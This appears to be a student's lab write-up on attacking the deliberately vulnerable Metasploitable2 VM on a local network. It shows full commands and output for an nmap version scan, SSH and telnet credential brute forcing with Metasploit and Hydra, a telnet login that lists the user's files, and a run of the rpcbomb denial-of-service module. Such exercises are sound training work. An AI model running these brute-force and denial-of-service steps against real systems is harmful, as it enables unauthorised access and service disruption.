

Class 16 - 14/09/2023

Task - Exploit 3 more vulnerabilities on Metasploitable2

First i created a folder and a file in that folder in which i will save the results. Then i performed the version specific nmap scan and saved the results in that file:

```
msf6 > cd Desktop
msf6 > mkdir pentest
[*] exec: mkdir pentest

msf6 > cd pentest
msf6 > touch nmap
[*] exec: touch nmap

msf6 > ls
[*] exec: ls

nmap
msf6 > sudo nmap -sV 192.168.1.11 -p 1-1000 -o nmap
[*] exec: sudo nmap -sV 192.168.1.11 -p 1-1000 -o nmap

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-14 22:38 IST
Nmap scan report for 192.168.1.11
Host is up (0.00044s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
MAC Address: 08:00:27:50:2E:0E (Oracle VirtualBox virtual NIC)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
msf6 > 
```

1. Exploiting port 22 → SSH

The nmap scan gave me the open ports and i chose port 22. Then i search the port

```

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-14 23:06 IST
Nmap scan report for 192.168.1.6
Host is up (0.00016s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
MAC Address: 08:00:27:50:2E:0E (Oracle VirtualBox virtual NIC)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
msf6 > search ssh

```

Matching Modules

#	Name	Disclosure Date	Rank	Check
ck	Description			
0	exploit/linux/http/alienvault_exec AlienVault OSSIM/USM Remote Code Execution	2017-01-31	excellent	Yes
1	auxiliary/scanner/ssh/apache_karaf_command_execution Apache Karaf Default Credentials Command Execution	2016-02-09	normal	No
2	auxiliary/scanner/ssh/karaf_login Apache Karaf Login Utility		normal	No
3	exploit/apple_ios/ssh/cydia_default_ssh Apple iOS Default SSH Password Vulnerability	2007-07-02	excellent	No
4	exploit/unix/ssh/arista_tacplus_shell Arista restricted shell escape (with privesc)	2020-02-02	great	Yes
5	exploit/unix/ssh/array_vxag_vapv_privkey_privesc Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution	2014-02-03	excellent	No
6	exploit/linux/ssh/ceragon_fibeair_known_privkey Ceragon FibeAir IP-10 SSH Private Key Exposure	2015-04-01	excellent	No
7	auxiliary/scanner/ssh/cerberus_sftp_enumusers Cerberus FTP Server SFTP Username Enumeration	2014-05-27	normal	No
8	auxiliary/dos/cisco/cisco_7937g_dos Cisco 7937G Denial-of-Service Attack	2020-06-02	normal	No

Then I set the rhost as the target ip and launched a brute force attack to get the login credentials:

```
kali@kali: ~  
File Actions Edit View Help  


| Name             | Current Setting                      | Required | Description                                                                                            |
|------------------|--------------------------------------|----------|--------------------------------------------------------------------------------------------------------|
| BLANK_PASSWORDS  | false                                | no       | Try blank passwords for all users                                                                      |
| BRUTEFORCE_SPEED | 5                                    | yes      | How fast to bruteforce, from 0 to 5                                                                    |
| DB_ALL_CREDS     | false                                | no       | Try each user/password couple stored in the current database                                           |
| DB_ALL_PASS      | false                                | no       | Add all passwords in the current database to the list                                                  |
| DB_ALL_USERS     | false                                | no       | Add all users in the current database to the list                                                      |
| DB_SKIP_EXISTING | none                                 | no       | Skip existing credentials stored in the current database (Accepted: none, user, user&realm)            |
| PASSWORD         |                                      | no       | A specific password to authenticate with                                                               |
| PASS_FILE        | /home/kali/Desktop/passw<br>rds.txt  | no       | File containing passwords, one per line                                                                |
| RHOSTS           | 192.168.1.11                         | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT            | 22                                   | yes      | The target port                                                                                        |
| STOP_ON_SUCCESS  | true                                 | yes      | Stop guessing when a credential works for a host                                                       |
| THREADS          | 1                                    | yes      | The number of concurrent threads (max one per host)                                                    |
| USERNAME         |                                      | no       | A specific username to authenticate as                                                                 |
| USERPASS_FILE    |                                      | no       | File containing users and passwords separated by space, one pair per line                              |
| USER_AS_PASS     | false                                | no       | Try the username as the password for all users                                                         |
| USER_FILE        | /home/kali/Desktop/userna<br>mes.txt | no       | File containing usernames, one per line                                                                |
| VERBOSE          | true                                 | yes      | Whether to print output for all attempts                                                               |

  
View the full module info with the info, or info -d command.  
  
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOST 192.168.1.6  
RHOST => 192.168.1.6  
msf6 auxiliary(scanner/ssh/ssh_login) > exploit  
  
[*] 192.168.1.6:22 - Starting bruteforce  
[+] 192.168.1.6:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux'  
[!] No active DB -- Credential data will not be saved!  
[*] SSH session 3 opened (192.168.1.10:43311 -> 192.168.1.6:22) at 2023-09-14 23:07:30 +0530  
[*] Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
msf6 auxiliary(scanner/ssh/ssh_login) > |
```

The result is:

Login credentials: msfadmin:msfadmin

2. Exploiting port 23 → Telnet

I did a hydra scan and got the same credentials for the port 23 Telnet:

```
msf6 > sudo hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt 192.168.1.6 telnet
[*] exec: sudo hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt 192.168.1.6 telnet

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-14 23:21:20
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 169 login tries (l:13/p:13), ~11 tries per task
[DATA] attacking telnet://192.168.1.6:23/
[23][telnet] host: 192.168.1.6 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-14 23:21:46
msf6 > █
```

Then using the credentials i logged in and gained the access of all the files for the user using this port

```
metasploitable login: msfadmin
Password:
Last login: Thu Sep 14 13:51:28 EDT 2023 from 192.168.1.10 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ls
akshay vulnerable
msfadmin@metasploitable:~$ cd vulnerable
msfadmin@metasploitable:~/vulnerable$ ls
mysql-ssl samba tikiwiki twiki20030201
msfadmin@metasploitable:~/vulnerable$ exit
logout
Connection closed by foreign host.
user@metasploitable:~$ █
```

3. Exploiting Port 111 → rpcbind

Here i searched for the options and put the target ip as RHOSTS and started the exploitation:

```

msf6 > search rpcbind

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/dos/rpc/rpcbomb                normal         No    RPC DoS targeting *nix rpcbind/libtirpc

Home

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/rpc/rpcbomb

msf6 > use 0
msf6 auxiliary(dos/rpc/rpcbomb) > show options

Module options (auxiliary/dos/rpc/rpcbomb):

Name      Current Setting  Required  Description
-      -
ALLOCSIZE  1000000         yes       Number of bytes to allocate
BATCHSIZE  256             yes       The number of hosts to probe in each set
COUNT    1000000         no        Number of intervals to loop
RHOSTS    [REDACTED]       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     111             yes       The target port (UDP)
THREADS    10             yes       The number of concurrent threads

"the quieter you become, the more you are able to hear"

View the full module info with the info, or info -d command.

msf6 auxiliary(dos/rpc/rpcbomb) > set RHOSTS 192.168.1.6
RHOSTS => 192.168.1.6
msf6 auxiliary(dos/rpc/rpcbomb) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```